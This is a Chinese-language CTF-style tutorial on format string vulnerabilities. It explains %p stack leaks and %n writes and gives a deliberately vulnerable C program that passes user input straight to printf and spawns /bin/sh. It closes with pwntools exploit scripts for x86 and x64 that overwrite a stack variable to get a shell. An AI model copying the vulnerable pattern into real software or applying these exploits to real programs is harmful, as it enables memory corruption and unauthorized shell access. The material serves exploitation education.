格式化字符串漏洞
格式化字符串漏洞是发现比较晚的漏洞,产生的原因是因为 ,格式化函数把用户输入的格式化字符,当做了解析自身的格式化字符做了解析。
常见的格式化漏洞函数
各种print函数
格式化字符
%s 打印字符串 %p 打印地址 %c 打印char字符 %n 输入字符
%10c 这代表10个制表符(空格)
printf("guozhi%10s", "格式化字符")
guozhi 格式化字符
%2$s 这个代表占位符
printf("%2$s guozhi %1$s", "第一个参数", " 第二个参数");
输出:
第二个参数 guozhi 第一个参数
这就产生了一个问题如果参数不足的情况下 %3$会输出什么?
会,接着往下输出如果是x86则会输出栈上的内容, 如果是x64会先泄露前六个寄存器的内容然后再泄露栈上的内容,这就会造成栈内存泄露。
当然泄露栈内存空间不会有太大危害, 需要配合另一个格式化字符串进行写入操作。
%n 往里写东西不过写入的地址必须是被指向的如
01:0004│-054 0xffffd0b4 —▸ 0xffffd0e8 ◂— 0x61616161 ('aaaa')
这样的指针就可以进行修改
%100c%x$n
x代表它的栈上的第几个,需要通过计算获得。
如何没有指向我们想修改的的地址怎么办?
可以通过写入地址的方式把想要修改的地址写进去但是, 如果是x86可以把地址写在前面(
0xffffd0e8%96c%x$n
地址再前面注意内存对齐), 但是x64就不行因为高地址是00读到00就会被截断所以地址要放到后面(%100c%x$n0x7fffffffdf10
)
如果修改成功
01:0004│-054 0xffffd0b4 —▸ 0xffffd0e8 ◂— 0x64 /* 'd' */
代码分析
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int test1;
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}
int dofunc(){
char buf1[0x10];
char buf2[0x10];
char buf3[0x10];
int test2=0;
int test3=0;
while(1){
puts("input:");
read(0,buf1,0x100);
printf(buf1);
if(test3==100)
system("/bin/sh");
}
return 0;
}
int main(){
init_func();
dofunc();
return 0;
}
//gcc fmt_test_2.c -o fmt_test_2_x64
//gcc -m32 fmt_test_2.c -o fmt_test_2_x86
这个题需要test3 == 100 会触发system 函数, 但是test3的变量被写死再代码里无法进行修改。 但是上方有一个printf函数临近我们可以通过printf 函数向栈中写test3地址的内容。
首先确定获取到栈底ebp的地址然后通过偏移来寻test3的地址
ebp是
EBP 0xffffd108 —▸ 0xffffd118 ◂— 0x0
EBP是0xffffd108
然后通过%p来寻址看看偏移是多少
%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
这样就可以判断看出第几个偏移是栈底了
0xffffd0e8,0x100,0x56556246,0xf7faf224,0x56559000,0xf7fb1000,0xf7fb1000,0xffffd108,0xf7fe7ae4,0xffffd144,0x56559000,0xf7fb1000,0xf7fb1000,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70
第8个偏移就是栈底了也就是%8$p
然后是确定test3的栈地址。
先查看是什么汇编
0x56556291 <dofunc+87> cmp dword ptr [ebp - 0x10], 0x64
是ebp-0x10
就是test的栈偏移了,哪就可以用上面得到栈ebp的地址0x10得到test3的偏移,通过%n写入100即可完成。
如何计算出%n的偏移?
可以通过aaaa%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p 看0x61616161再哪出现,第几个就是多少偏移。
EXP
from pwn import *
r = process("fmt_test_2_x86")
raw_input()
r.recvline("input:")
r.send("%8$p")
ebp_addr = int(r.recv()[2:10],16)
print(ebp_addr)
#r.recvline("input:")
test3_addr = ebp_addr - 0x10
payload = p32(test3_addr) + b"%96c%14$hhn"
print("ebp_addr is:"+hex(ebp_addr))
print("test3_addr is:"+hex(test3_addr))
r.send(payload)
r.interactive()
x64EXP
x64需要注意
- 算上寄存器的空间
- 地址写在后面
from pwn import *
r = process("fmt_test_2_x64")
raw_input()
r.recvline("input:")
r.send("%9$p")
ebp_addr = int(r.recv()[2:14],16)
print("ebp_addr is:",hex(ebp_addr))
test3_addr = ebp_addr - 0x8
print("test3_addr is:",hex(test3_addr))
r.recvline("input:")
payload = "%100c%12$hhnaaaa"+p64(test3_addr)
r.send(payload)
r.interactive()
...